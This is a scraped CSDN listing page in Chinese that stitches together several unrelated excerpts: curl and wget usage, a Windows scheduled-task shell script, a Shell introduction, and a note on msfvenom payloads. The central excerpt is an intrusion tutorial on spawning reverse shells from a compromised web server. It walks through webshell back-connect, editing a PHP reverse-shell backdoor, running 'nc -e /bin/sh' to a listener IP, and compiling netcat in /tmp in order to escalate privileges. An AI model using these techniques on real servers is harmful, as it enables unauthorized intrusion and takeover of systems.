php7 shell 发送 命令_shell 服务发送命令 - CSDN
精华内容
参与话题
  • linux下使用shell发送http请求

    万次阅读 2017-11-23 10:29:42
    本文主要介绍如何在linux下使用shell发送http请求。一、curl1. get请求curl命令默认下就是使用get方式发送http请求。curl www.baidu.com2. post请求使用-d参数,形式如下:curl -d "param1=value1¶m2=value2" ...

    本文主要介绍如何在linux下使用shell发送http请求。


    一、curl

    1. get请求

    curl命令默认下就是使用get方式发送http请求。

    curl www.baidu.com

    2. post请求

    使用-d参数,形式如下:

    curl -d "param1=value1&param2=value2" www.baidu.com

    3.其他参数

    • -I
      只显示头部信息。

    • i
      显示全部信息。

    • -v
      显示解析全过程。

    二、wget

    该命令是linux下的从指定url下载文件的工具,会把请求的网页内容下载到本地。

    1. get请求

    //最基本使用
    wget www.baidu.com
    
    //get方式并指定下载的文件名
    wget -O wordpress.zip http://www.linuxde.net/download.aspx?id=1080

    这里写图片描述

    2. post请求

    wget --post-data="user=user1&pass=pass1&submit=Login"  http://domain.com/path/page_need_login.php  

    展开全文
  • Linux下通过WebShell反弹Shell的技巧

    千次阅读 2010-10-27 18:00:00
    13.2 Linux下通过WebShell反弹Shell的技巧 Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。 Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令...

    13.2 Linux下通过WebShell反弹Shell的技巧

    Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。

    Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

    13.2.1 使用PHP WebShell木马反弹Shell

    一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。

    在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:

    clip_image001

    然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在“Your IP”中显示本机IP,在“Your Port”中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用Perl反弹(图403)。

    clip_image003

    图403

    设置完毕后,点击“Start”按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图404)。

    clip_image005

    图404

    除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:

    clip_image006

    clip_image008

    图405

    修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图405)。修改后保存文件,将其通过WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命令:

    clip_image009

    使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。

    13.2.2 使用NC反弹Shell

    在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。

    在Windows下反弹CmdShell时,首先要在本机运行“nc -vv -l -p 端口号”监听端口,然后在WebShell中执行“nc -e cmd.exe 监听主机IP地址 端口”,就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。

    ——在本机监听端口后,在WebShell运行nc反弹时,需要发送的是“/bin/sh”,而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:

    clip_image010

    即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。

    13.2.3 远程主机无NC工具时的解决办法

    在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。

    如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。

    另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图406)。

    clip_image012

    图406

    例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。

    将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:

    clip_image013

    clip_image015

    图407

    执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图407)。然后再执行命令:

    clip_image016

    配置完毕后,再执行如下命令进行编译:

    clip_image017

    由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了(图408)。

    clip_image019

    图408

    编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行“nc -vv -l -p 8080”命令监听8080号端口后,在WebShell中执行如下命令(图409):

    clip_image020

    clip_image022

    图409

    即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句(图410)。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。

    clip_image024

    图410

    展开全文
  • Windows 定时执行shell脚本

    千次阅读 2018-12-16 12:27:44
    以下shell命令,保存到桌面文件w.sh中 #!/bin/sh touch /d/test.txt sleep 10 echo "ShinChen">> /d/test.txt 找到任务计划程序 创建任务         ...

    首先安装Git

    https://git-scm.com/download/win

    编写shell脚本

    以下shell命令,保存到桌面文件w.sh中

     #!/bin/sh
        touch /d/test.txt
        sleep 10
        echo "ShinChen">> /d/test.txt

    找到任务计划程序

    创建任务

     

     

     

     

    1、创建任务

    2.新建触发器

    3.新建操作

    4.保存配置

    此时D磁盘已经生成test.txt文件,其内容为'ShinChen'

    展开全文
  • 现在我们使用的操作系统(Windows、Mac OS、Android、iOS 等)都是带图形界面的,简单直观,容易上手,对专业用户(程序员、...然而在计算机的早期并没有图形界面,我们只能通过一个一个地命令来控制计算机,这些命

    原文:http://c.biancheng.net/cpp/view/6994.html

    现在我们使用的操作系统(Windows、Mac OS、Android、iOS 等)都是带图形界面的,简单直观,容易上手,对专业用户(程序员、网管等)和普通用户(家庭主妇、老年人等)都非常适用;计算机的普及离不开图形界面。


    然而在计算机的早期并没有图形界面,我们只能通过一个一个地命令来控制计算机,这些命令有成百上千之多,且不说记住这些命令非常困难,每天面对没有任何色彩的“黑屏”本身就是一件枯燥的事情;这个时候的计算机还远远谈不上炫酷和普及,只有专业人员才能使用。
    图:早期的电脑,都是“黑纸白字”
    猛击《带你逛西雅图活电脑博物馆》可以欣赏更多早期的计算机。
    对于图形界面,用户点击某个图标就能启动某个程序;对于命令行,用户输入某个程序的名字(可以看做一个命令)就能启动某个程序。这两者的基本过程都是类似的,都需要查找程序在硬盘上的安装位置,然后将它们加载到内存运行。
    关于程序的运行原理,请猛击《载入内存,让程序运行起来》。
    换句话说,图形界面和命令行要达到的目的是一样的,都是让用户控制计算机。

    然而,真正能够控制计算机硬件(CPU、内存、显示器等)的只有操作系统内核(Kernel),图形界面和命令行只是架设在用户和内核之间的一座桥梁。

    由于安全、复杂、繁琐等原因,用户不能直接接触内核(也没有必要),需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核。如此一来,用户和内核之间就多了一层“代理”,这层“代理”既简化了用户的操作,也保护了内核。

    用户界面和命令行就是这个另外开发的程序,就是这层“代理”。在Linux下,这个命令行程序叫做 Shell

    Shell 除了能解释用户输入的命令,将它传递给内核,还可以:
    • 调用其他程序,给其他程序传递数据或参数,并获取程序的处理结果;
    • 在多个程序之间传递数据,把一个程序的输出作为另一个程序的输入;
    • Shell 本身也可以被其他程序调用。

    由此可见,Shell 是将内核、程序和用户连接了起来。

    Shell 本身支持的命令并不多,但是它可以调用其他的程序,每个程序就是一个命令,这使得 Shell 命令的数量可以无限扩展,其结果就是 Shell 的功能非常强大,完全能够胜任 Linux 的日常管理工作,如文本或字符串检索、文件的查找或创建、大规模软件的自动部署、更改系统设置、监控服务器性能、发送报警邮件、抓取网页内容、压缩文件等。

    Shell 并不是简单的堆砌命令,我们还可以在 Shell 中编程,这和使用 C/C++、Java、Python 等常见的编程语言并没有什么两样。

    Shell 虽然没有 C/C++、Java、Python 等强大,但也支持了基本的编程元素,例如:
    • if...else 选择结构,switch...case 开关语句,for、while、until 循环;
    • 变量、数组、字符串、注释、加减乘除、逻辑运算等概念;
    • 函数,包括用户自定义的函数和内置函数(例如 printf、export、eval 等)。

    站在这个角度讲,Shell 也是一种编程语言,它的编译器(解释器)是 Shell 这个程序。我们平时所说的 Shell,有时候是指连接用户和内核的这个程序,有时候又是指 Shell 编程。

    Shell 主要用来开发一些实用的、自动化的小工具,而不是用来开发具有复杂业务逻辑的中大型软件,例如检测计算机的硬件参数、一键搭建Web开发环境、日志分析等,Shell 都非常合适。

    使用 Shell 的熟练程度反映了用户对 Linux 的掌握程度,运维工程师、网络管理员、程序员都应该学习 Shell。

    尤其是 Linux 运维工程师,Shell 更是必不可少的,是必须掌握的技能,它使得我们能够自动化地管理服务器集群,否则你就得一个一个地登录所有的服务器,对每一台服务器都进行相同的设置,而这些服务器可能有成百上千之多,会浪费大量的时间在重复性的工作上。

    Shell 是一种脚本语言

    任何代码最终都要被“翻译”成二进制的形式才能在计算机中执行。

    有的编程语言,如 C/C++、Pascal、Go语言、汇编等,必须在程序运行之前将所有代码都翻译成二进制形式,也就是生成可执行文件,用户拿到的是最终生成的可执行文件,看不到源码。

    这个过程叫做编译(Compile),这样的编程语言叫做编译型语言,完成编译过程的软件叫做编译器(Compiler)

    而有的编程语言,如 Shell、JavaScript、Python、PHP等,需要一边执行一边翻译,不会生成任何可执行文件,用户必须拿到源码才能运行程序。程序运行后会即时翻译,翻译完一部分执行一部分,不用等到所有代码都翻译完。

    这个过程叫做解释,这样的编程语言叫做解释型语言或者脚本语言(Script),完成解释过程的软件叫做解释器

    编译型语言的优点是执行速度快、对硬件要求低、保密性好,适合开发操作系统、大型应用程序、数据库等。

    脚本语言的优点是使用灵活、部署容易、跨平台性好,非常适合Web开发以及小工具的制作。

    Shell 就是一种脚本语言,我们编写完源码后不用编译,直接运行源码即可。
    展开全文
  • shell脚本telnet登录

    千次阅读 2011-08-27 15:43:34
    #!/bin/bash ( echo "user" sleep 2 echo "passwd" sleep 3 echo "do something in remote device" sleep 3 e
  • 生成msf常用payload

    千次阅读 2018-06-04 10:49:29
    msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何...在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:msfvenom -l生成二进制文件关于二进制文件,主要介绍适用于Windows、linux、ma...
  • 1、安装和配置sendmail不需要注册公网域名和MX记录(不需要架设公网邮件服务器),通过Linux系统自带的mail命令即可对公网邮箱发送邮件。不过mail命令是依赖sendmail的,所以我们需要先检查安装和配置sendmail。一般系统...
  • 命令执行漏洞和修复方案

    万次阅读 2016-10-22 16:03:40
    当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行...
  • perl 、shell、python之shell脚本入门

    万次阅读 2014-07-23 15:37:05
    终于到shell 脚本这章了,在以前笔者卖了好多关子说shell脚本怎么怎么重要,确实shell脚本在linux系统管理员的运维工作中非常非常重要。下面笔者就带你正式进入shell脚本的世界吧。 到现在为止,你明白什么是shell...
  • 我的机器学习教程「美团」算法工程师带你入门机器学习 已经开始更新了,欢迎大家订阅~ 任何关于算法、编程、AI行业知识或博客内容的问题,可以随时扫码关注公众号「图灵的猫」,加入”学习小组“,沙雕博主在线答疑...
  • 使用shell获取ip地址

    千次阅读 2011-04-19 11:48:00
    ifconfig返回的信息中包括IP地址,但要在Shell中获取当前IP地址,则要麻烦一些 获取方法由于不同系统中ifconfig返回信息的格式有一定差别,故分开讨论:[1]Linux:LC_ALL=C ifconfig | grep'inet addr:'| grep -v '...
  • To upload a file via curl: curl http://api.example.com/profile -F "image=@profile.jpg" In php this will give you the profile.jpg in the $_FILES['image'], now to add additional field values you just
  • python 调用系统命令,执行命令行

    万次阅读 2015-11-19 16:04:42
    python中调用系统命令的方法还是有比较多的,os/command/subprocess模块中都有方法可以做到 **(1) os.system** **(2) os.popen** **(3) 使用模块commands模块** :getoutput和getstatusoutput **(4) subprocess**
  • 有时候为了安全我们需要禁掉一些PHP危险函数,整理如下需要的朋友可以参考下 phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等...功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
  • 今天在shell中使用mail命令发送邮件,希望发送表格,就用了html的格式来发送。但是开始的时候发现Outlook收到的显示为html的源码, 就查阅了下相关资料,问题解决了,记录下,以备以后再用: 以下内容转载自:...
  • 实用的adb 命令连接 android 电视

    千次阅读 2016-02-09 23:10:24
    http://bbs.letv.com/forum.php?mod=viewthread&tid=1162466&highlight=ADB adb是什么?:adb的全称为Android Debug Bridge,就是起到调试桥的作用。通过adb我们可以在Eclipse中方面通过DDMS来调试Android程序,...
  • Shell下curl的使用

    万次阅读 2012-09-25 23:22:02
    curl是一个访问url的工具,可以用他构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能。... 通用语法: ...curl [option] [URL...] ...
  • 1.可以通过adb向android手机发送键盘事件 比如,adb shell input keyboard text hello world 这是调用android键盘,输入hello world。 比如,adb shell input keyevent 19 这是调用android键盘的down键。 2.可以...
  • 因为微擎官方跟网上完全找不到这类资料,自己解决了就发出来分享 让大家少走弯路. 1.data目录无法写入问题,本地目录无法写入问题 在shell里面发送命令 chmod -R 777 [文件名/目录名] ...在shell发送命令 ...
  • Centos执行shell命令返回127错误

    千次阅读 2019-11-23 11:06:04
    Centos执行shell命令返回127错误 在终端可以正常运行 web执行shell 返回127错误 解决方法 应该是运行环境和登录用户的运行环境存在差异造成的 在脚本执行之前,添加. /etc/profile,加载环境变量,问题解决 #!/...
1 2 3 4 5 ... 20
收藏数 20,105
精华内容 8,042
关键字:

php7 shell 发送 命令